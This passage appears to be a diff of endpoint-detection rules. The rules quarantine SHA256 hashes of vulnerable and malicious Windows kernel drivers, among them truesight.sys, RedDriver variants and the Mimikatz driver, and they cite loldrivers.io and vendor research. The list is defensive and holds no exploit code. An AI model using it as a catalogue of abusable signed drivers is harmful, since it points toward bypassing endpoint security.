+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979047Z",
+  "creation_date": "2026-03-23T11:45:29.979049Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8f7ddf5de213c6dc0356dc83b6307ec596e66c33c3cdd826a612c12004ba9dc",
+  "comment": "Vulnerable Kernel Driver (aka driver7-x64.sys) [https://www.loldrivers.io/drivers/48bc2815-85ec-4436-a51a-69810c8cb171/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cefeb14-f96d-5260-8867-d1678c10fb61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821637Z",
+  "creation_date": "2026-03-23T11:45:31.821639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821645Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f147b1c5060d3e9305f3a09e03bab079bdc7a964d55e95010a66a7b41981d4d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cf4752c-0123-58c1-b076-feed5de72170",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494354Z",
+  "creation_date": "2026-03-23T11:45:31.494358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2e3825b2dcdba02bdf30c50735b41accf42da061fb0cbc8da28dbe5dc66394d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9cf79c39-5497-54be-8cdd-b150df53f77d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984547Z",
+  "creation_date": "2026-03-23T11:45:29.984549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4530235508b99dffe4e912cc9cac7bdc237e79f5a331f601c43ba909d7a3af4a",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d008f86-67a2-5015-a43a-906aa897f8c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498808Z",
+  "creation_date": "2026-03-23T11:45:31.498812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85a384142482e7ae94a3f9b37cd1270391c70731cf3c166167cd763061ad837c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d192b50-4c4e-5273-96c9-65fbd3d1b74a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985867Z",
+  "creation_date": "2026-03-23T11:45:29.985882Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985887Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30061ef383e18e74bb067fbca69544f1a7544e8dc017d4e7633d8379aff4c3c3",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d1be502-8b7a-5a1b-9e37-693541c97ca0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821049Z",
+  "creation_date": "2026-03-23T11:45:30.821052Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f93e0d776481c4ded177d5e4aebb27f30f0d47dcb4a1448aee8b66099ac686e1",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d1d9634-194e-5459-99a3-03cbe3e9b75d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816472Z",
+  "creation_date": "2026-03-23T11:45:30.816474Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0afba623a3ae2726112c6458c212bb48b210566851b7604ed3fbb880ffd3859f",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d20e6e4-2677-50c7-a41d-fec7be678133",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607071Z",
+  "creation_date": "2026-03-23T11:45:29.607073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607081Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cddd341f267a6094f7bd7d1b56427ebc029ccb348e7f0714d9301c2c67fdd5df",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d29b928-3941-5375-894b-e2cb6018c08d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499485Z",
+  "creation_date": "2026-03-23T11:45:31.499488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a031cd87ef68c07233810f837490d4ffba620cf8e4504f51bf82b4f86602a022",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d29e34d-1e83-5940-bd93-f9e644666667",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495285Z",
+  "creation_date": "2026-03-23T11:45:31.495288Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "147ac26b660ed4e681e0458e032aeda8c0f0b06abd11c707399a4f0edf063de7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d2a71e5-c7e3-5439-b6f3-51cb4b2aab37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145791Z",
+  "creation_date": "2026-03-23T11:45:32.145793Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f06493341f9f16b9d25a3a5e07851dd04b63f36904a21ec1da30bfcb9157724c",
+  "comment": "Malicious Kernel Driver (aka driver_5d61e4ea.sys) [https://www.loldrivers.io/drivers/0215d6d6-e0c4-4a11-bd3a-40511f89d736/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d310a62-9d3d-5977-8cfb-458d3357d46c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452489Z",
+  "creation_date": "2026-03-23T11:45:30.452492Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da70fa44290f949e9b3e0fcfe0503de46e82e0472e8e3c360da3fd2bfa364eee",
+  "comment": "Malicious Kernel Driver (aka c94f405c5929cfcccc8ad00b42c95083.sys) [https://www.loldrivers.io/drivers/ddefecdd-9410-46d9-8957-e23aac1aba0c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d31e4f0-b12c-520e-b15c-ba748aeb764e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981183Z",
+  "creation_date": "2026-03-23T11:45:29.981185Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981190Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ba224af60a50cad10d0091c89134c72fc021da8d34a6f25c4827184dc6ca5c7",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d32aa4f-8f6d-5ae0-a0b4-12105a18e2d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148295Z",
+  "creation_date": "2026-03-23T11:45:31.148296Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8a092df8fa7012c64769563307b8c39447da1470e6f3b4a324ff98b7549433d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d38d6bc-d7fe-5e7a-bb9c-b92d068c0100",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456537Z",
+  "creation_date": "2026-03-23T11:45:30.456540Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456549Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3e95b8d8cbb0c4c3bb78d929408b37fd3b8f305b6234f7f03954465d52454eb",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d3db35e-3ec0-535a-a73f-7e86823ed1a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831127Z",
+  "creation_date": "2026-03-23T11:45:30.831129Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831135Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbba49d8b079613d8fe81944224fcc6e52e71a1eca54cd94ebbf891c091f5ea0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d3fb3ab-1a3d-58d2-9085-d8a25ec9a96a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146618Z",
+  "creation_date": "2026-03-23T11:45:31.146620Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146626Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fb37657d0f6eb3968be2049eb3135614e33a7b5354f0fa19938b4e07389236a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d628084-850c-5abe-a1d8-03dda5a56313",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498361Z",
+  "creation_date": "2026-03-23T11:45:31.498364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498373Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ecc3bf10c95d05622f596ec6f6ca85af85e5dd9c1ab5442052856dbbd62e774",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d6b7f94-66e3-5745-9abd-541b3c5a2ca8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452828Z",
+  "creation_date": "2026-03-23T11:45:30.452832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452841Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18f306b6edcfacd33b7b244eaecdd0986ef342f0d381158844d1f0ee1ac5c8d7",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d7b1d3c-3ddf-5138-ba70-299e21b66c0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153396Z",
+  "creation_date": "2026-03-23T11:45:31.153399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153408Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89ea6406a18fadbe53c31e678a9bcb6648e6e1b1c11eae319df5d4ee45b7cfc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d7edbf3-734e-5d9c-a3ad-46ed539d8418",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970781Z",
+  "creation_date": "2026-03-23T11:45:29.970785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68191d76aaafb52bbec5240c3b371e7dd77ff442b4a3394b41cc402402b43717",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9d7f11c3-249d-5775-b0ba-0028d6fb8d1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811381Z",
